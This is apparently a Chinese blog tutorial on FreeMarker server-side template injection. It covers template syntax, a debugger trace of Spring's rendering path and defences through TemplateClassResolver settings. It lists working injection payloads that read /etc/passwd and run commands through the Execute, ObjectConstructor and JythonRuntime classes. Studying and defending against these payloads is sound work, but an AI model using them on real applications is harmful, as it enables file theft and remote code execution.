FreeMarker模版注入

好久没更了o(╥﹏╥)o考试,去武汉打了比赛了一趟,辣的热干面不错,纯麻酱我是真吃不了.也有去跟小东西爆金币去了。

什么是FreeMaerker

什么是 FreeMarker? - FreeMarker 中文官方参考手册 (foofun.cn)

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。

总的来说,模板和数据模型是FreeMarker来生成输出(比如第一个展示的HTML)所必须的:

模板 + 数据模型 = 输出

文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出
插值:语法为 ${}, 这部分的输出会被模板引擎计算的值来替换。
指令标签:<# >或者 <@ >。如果指令为系统内建指令,如assign时,用<# >。如果指令为用户指令,则用<@ >。利用中最常见的指令标签为<#assign>,该指令可创建变量。
注释:由 <#---->表示,注释部分的内容会 FreeMarker 忽略

环境搭建

[https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Java%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/CodeReview/JavaSec-Code/SSTI/](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/Java 代码审计/CodeReview/JavaSec-Code/SSTI/)

内置函数

FreeMarker 提供了大量的内建函数,用于拓展模板语言的功能,大大增强了模板语言的可操作性。具体用法为variable_name?method_name

new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

api

如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod(), 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个 Map,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...),因此不能调用 myMethod。如果编写了 myMap?api.myMethod() 来代替,那么就是Java中的 myMap.myMethod()

api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

poc1:

1
2
3
4
5
6
7
8
访问类路径中的资源
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

poc2:

1
2
3
4
5
6
7
8
9
10
读取系统任意文件
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]

poc3:

1
2
3
4
5
6
任意代码执行
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>
1
2
3
4
5
6
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

poc4:

1
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

poc5:

1
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")
1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

漏洞分析

先看看hello.ftl访问hello路由,

org.springframework.web.servlet.view.UrlBasedViewResolver#createView打断点

1
2
3
if (!this.canHandle(viewName, locale)) {
return null;
}

先判断当前当前处理器能解析我们特定的路由,viewname是我们想要访问的路由,由于不满足下方的两个条件,调用父类的createView方法

最后就会调用到

1
return super.createView(viewName, locale);

继续跟进发现会调用buildView方法

继续到AbstractTemplateView view = (AbstractTemplateView)super.buildView(viewName);

在getviewclass中会获取到FreeMarkerView类,然后利用instantiateClass方法对其进行初始化,紧接着设置相应的模板文件名称属性,并将其加入到map中,随后返回该View类,回到loadView方法,调用了checkResource方法
image-20240111213129223

FreeMarkerView这个翻之前调用栈发现之前方法哪里会遍历所有viewResolves,再往下调去去创造视图的

image-20240111214458946

然后跟到view.checkResource,里面有一个getTemplate方法,跟进

image-20240111215324067

跟进到cache.getTemplate方法

1
final MaybeMissingTemplate maybeTemp = cache.getTemplate(name, locale, customLookupCondition, encoding, parseAsFTL);

而且putTemplate设置模板的时候,也会将至存储到cache中。这里就不分析了

image-20240111215832404

首先进行了一些参数的检查,templateNameFormat.normalizeRootBasedName获取文件的相对路径,跟进getTemplateInternal方法

前面是一些基本属性的判断,步入到lookupTemplate方法,跟到下图为止

1
newLookupResult = lookupTemplate(name, locale, customLookupCondition);

image-20240111222529042

1
lookupWithAcquisitionStrategy(path);

代码会先拼接_zh_CN,再寻找未拼接_zh_CN的模板名,调用this.findTemplateSource(path)获取模板实例。

image-20240111222542573

这里并没有所以没有找到,经过截取字符串后,在进入循环就获取到了handle执行返回的模板视图实例。

image-20240111223121932

org.springframework.web.servlet.DispatcherServlet#doDispatch流程

handle 执行完成后调用
this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);进行模板解析。调用view.render(mv.getModelInternal(), request, response);

image-20240111225031735

->

1
2
3
protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
template.process(model, response.getWriter());
}

->

1
2
3
4
public void process(Object dataModel, Writer out)
throws TemplateException, IOException {
createProcessingEnvironment(dataModel, out, null).process();
}

->

1
visit(getTemplate().getRootTreeNode());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void visit(TemplateElement element) throws IOException, TemplateException {
// ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync!
pushElement(element);
try {
TemplateElement[] templateElementsToVisit = element.accept(this);
if (templateElementsToVisit != null) {
for (TemplateElement el : templateElementsToVisit) {
if (el == null) {
break; // Skip unused trailing buffer capacity
}
visit(el);
}
}
}

首先将这个element也就是模板文件内容压入一个堆栈,而后按${}对内容进行分割

当循环到第6个属性,也就是Excute类的时候,递归调用visit方法,往后面走,

image-20240112152614977

跟进rosolve,发现是通过ClassUtil.forName(className);来反射创建对象

然后来看看为什么${value(“calc”)}为什么传入的是exec()方法了,中间就没写了,调试到Exprssion类的eval方法

image-20240112160206798

继续跟进,发现是targetMethod是我们的value的对象也就是Execute,这里会调用它的exec方法

image-20240112160458594

而exec方法,这里就能命令执行了

image-20240112160710680

防御措施

2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

漏洞修复

也就是safe里面了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.drunkbaby.ssti.controller;

import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;

public class FreeMarkerSSTI_Safe {
public static void main(String[] args) throws Exception {

//设置模板
HashMap<String, String> map = new HashMap<String, String>();
// String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"Calc\") }";
String poc ="";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
// cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//处理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();

Template_name.process(Template_name,stringWriter);
}
}

参考链接

https://www.cnblogs.com/nice0e3/p/16217471.html

Java安全之freemarker 模板注入 - nice_0e3 - 博客园 (cnblogs.com)

Freemarker模板注入 Bypass - 先知社区 (aliyun.com)

FreeMarker模板注入 | ycx’s blog (ilikeoyt.github.io)o(╥﹏╥)o tql我的哥